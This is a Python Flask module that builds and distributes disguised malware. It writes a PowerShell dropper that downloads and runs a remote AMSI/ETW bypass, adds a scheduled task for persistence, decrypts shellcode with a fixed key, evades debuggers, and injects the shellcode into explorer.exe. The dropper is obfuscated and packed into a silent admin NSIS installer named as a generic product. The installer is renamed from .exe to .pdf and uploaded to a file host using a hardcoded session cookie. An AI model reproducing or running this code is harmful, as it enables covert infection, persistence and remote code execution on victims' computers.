import os import subprocess import random import string from datetime import datetime from flask import jsonify, send_file, current_app import shutil import tempfile import requests import json BASE_DIR = os.path.abspath(os.path.dirname(__file__)) UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads") COMPILE_FOLDER = os.path.join(BASE_DIR, "compile") NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1") SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send" HEADERS = { "Host": "chiselapp.com", "Connection": "keep-alive", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr", "sec-ch-ua-platform": '"Linux"', "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', "sec-ch-ua-mobile": "?0", "Accept": "*/*", "Origin": "https://chiselapp.com", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "en-US,en;q=0.9,hi;q=0.8", "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63" } def generate_random_string(length=8): return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def obfuscate_powershell_script(ps1_path): try: cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"' process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) process.stdin.write(f"{ps1_path}\n") process.stdin.flush() stdout, stderr = process.communicate() if process.returncode != 0: raise Exception(f"Error obfuscating PowerShell script: {stderr}") obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1") return obfuscated_file except Exception as e: raise Exception(f"Obfuscation failed: {str(e)}") def generate_nsi_script(folder_path, bin_file, ps1_file): timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe") # NSIS script template NSIS_SCRIPT_TEMPLATE = r""" ; NeuraScope Insight Installer Script !include "MUI2.nsh" !include "LogicLib.nsh" ; Basic definitions Name "ProductName" OutFile "{installer_output}" InstallDir "$WINDIR\..\ProgramData\Installer" RequestExecutionLevel admin SetCompressor /SOLID lzma SetCompressorDictSize 96 SetDatablockOptimize ON ; Interface settings !define MUI_ICON "/path/to/icon.ico" !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup" !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue." ; Pages !insertmacro MUI_PAGE_WELCOME !insertmacro MUI_PAGE_INSTFILES !insertmacro MUI_LANGUAGE "English" ; Basic Version Information VIProductVersion "1.0.0.0" VIAddVersionKey "ProductName" "ProductName" VIAddVersionKey "CompanyName" "CompanyName" VIAddVersionKey "LegalCopyright" "LegalCopyright" VIAddVersionKey "FileVersion" "1.0.0.0" VIAddVersionKey "FileDescription" "FileDescription" ShowInstDetails hide AutoCloseWindow true Section "MainSection" SEC01 SetDetailsPrint none SetOutPath "$WINDIR\..\ProgramData\Installer" File "{bin_file}" File "{ps1_file}" ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE SetAutoClose true SectionEnd """ script_content = NSIS_SCRIPT_TEMPLATE.format( installer_output=installer_output, bin_file=bin_file, ps1_file=ps1_file, ) nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi") with open(nsi_file_path, 'w') as file: file.write(script_content) return nsi_file_path, installer_output def compile_nsi_script(nsi_file_path): try: compile_cmd = [NSIS_COMPILER, nsi_file_path] compile_result = subprocess.run(compile_cmd, capture_output=True, text=True) if compile_result.returncode != 0: raise Exception(f"NSIS Compile Error: {compile_result.stderr}") return compile_result except subprocess.CalledProcessError as e: raise Exception(f"Compilation failed: {str(e)}") except Exception as e: raise Exception(f"Unexpected error during compilation: {str(e)}") def upload_file_to_server(file_path): try: # Rename the file to have a .pdf extension new_file_path = file_path.replace('.exe', '.pdf') os.rename(file_path, new_file_path) # Ensure the file exists if not os.path.exists(new_file_path): raise FileNotFoundError(f"File {new_file_path} not found.") # Prepare the file and data for upload file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')} # Additional form data data = { 'lmtime': '2024-12-31T18:33:58' } # Send the POST request with file and form data response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data) # Check the response if response.status_code == 200: # Assuming the response contains the URL with the ID json_file = 'file_info.json' # Check if the file_info.json exists if os.path.exists(json_file): with open(json_file, 'r') as f: file_info = json.load(f) else: file_info = {} # Initialize or increment the init_ID (last_id) if 'init_ID' not in file_info: file_info['init_ID'] = 1 # Start with ID 1 if not present else: file_info['init_ID'] += 1 # Increment the ID for the next upload # Get the current ID to be used for the next upload current_id = file_info['init_ID'] # Generate the download URL for the uploaded file using the current ID download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}" # Update the JSON with the new entry for this upload file_info[current_id] = { 'file_name': os.path.basename(new_file_path), 'url': download_url } # Write the updated file_info to the JSON file with open(json_file, 'w') as f: json.dump(file_info, f, indent=4) return download_url else: raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}") except Exception as e: raise Exception(f"File upload failed: {str(e)}") def process_request(request): temp_dir = None # Initialize temp_dir to be used in the finally block try: # Save the incoming binary file if 'file' not in request.files: raise ValueError("No file part in the request") file = request.files['file'] if file.filename == '': raise ValueError("No selected file") random_folder = generate_random_string() temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER) bin_path = os.path.join(temp_dir, file.filename) file.save(bin_path) # Extract the file name from the full binary path bin_file_name = os.path.basename(bin_path) # Create the PowerShell script with the provided content ps1_content = f''' # Download and execute the script from the provided URL iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1) # Run the Invoke-NullAMSI command Invoke-NullAMSI Invoke-NullAMSI -etw # Define the content of the VBScript $vbsContent = @' Set objShell = CreateObject("WScript.Shell") objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True '@ # Define the file path for the .vbs file in the desired location $vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs" # Write the content to the .vbs file $vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII Write-Host "VBScript file created at: $vbsFilePath" $Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs" $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365) Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force # Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey") $keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey") # Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes) if ($keyBytes.Length -gt 16) {{ $keyBytes = $keyBytes[0..15] # Trim the key to 16 bytes if it's longer }} elseif ($keyBytes.Length -lt 16) {{ # If the key is too short, pad it with zeros to make it 16 bytes $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length)) }} # Function to download the encrypted binary from the server function Download-EncryptedShellcode {{ param([string]$url) # Download the encrypted binary file directly into memory as a byte array $response = Invoke-WebRequest -Uri $url -UseBasicParsing return $response.Content }} # Read the encrypted shellcode from a local binary file $encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}") # Create an AES encryption object $aes = [System.Security.Cryptography.Aes]::Create() # Set the decryption key and initialization vector (IV) $aes.Key = $keyBytes $aes.IV = $keyBytes[0..15] # Use the first 16 bytes of the key for the IV # Create a memory stream to hold the decrypted data $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write) # Decrypt the encrypted data into the memory stream $cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length) $cryptoStream.Close() # Get the decrypted shellcode $buf = $memoryStream.ToArray() # Anti-debugging mechanism function IsDebuggerPresent {{ $IsDebuggerPresentCode = @" using System; using System.Runtime.InteropServices; public class DebugHelper {{ [DllImport(\\"kernel32.dll\\")] public static extern bool IsDebuggerPresent(); }} "@ $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru return $debugHelper::IsDebuggerPresent() }} if (IsDebuggerPresent) {{ Write-Host "Debugger detected. Exiting." exit }} # Inject shellcode into a target process (example: explorer.exe) $Win32APICode = @" using System; using System.Runtime.InteropServices; public class Win32API {{ [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(\\"kernel32.dll\\", SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport(\\"kernel32.dll\\", SetLastError = true)] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); [DllImport(\\"kernel32.dll\\", SetLastError = true)] public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport(\\"kernel32.dll\\", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool CloseHandle(IntPtr hObject); }} "@ $win32api = Add-Type -TypeDefinition $Win32APICode -PassThru # Target process (explorer.exe) injection $targetProcess = Get-Process explorer | Select-Object -First 1 $processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id) # Allocate memory in the target process $size = 0x1000 if ($buf.Length -gt $size) {{ $size = $buf.Length }} $remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40) # Write the shellcode into the allocated memory $bytesWritten = [IntPtr]::Zero $win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten) # Create a remote thread to execute the shellcode $threadId = [IntPtr]::Zero $win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId) # Close the process handle $win32api::CloseHandle($processHandle) Write-Host "Shellcode injection completed successfully." ''' ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1") with open(ps1_path, 'w') as ps1_file: ps1_file.write(ps1_content) # Obfuscate the PowerShell script obfuscated_ps1_path = obfuscate_powershell_script(ps1_path) # Rename the obfuscated file to Verification.ps1 verification_ps1_path = os.path.join(temp_dir, "Verification.ps1") os.rename(obfuscated_ps1_path, verification_ps1_path) # Generate and compile the NSIS script nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path) compile_nsi_script(nsi_file_path) # Upload the resulting EXE file (renamed to PDF) to the server download_url = upload_file_to_server(installer_output) # Return the download URL in the response return jsonify({"download_url": download_url}) except Exception as e: current_app.logger.error(f"An error occurred: {str(e)}") return jsonify({"error": str(e)}), 500 finally: # Clean up temporary directories and files if temp_dir and os.path.exists(temp_dir): shutil.rmtree(temp_dir, ignore_errors=True)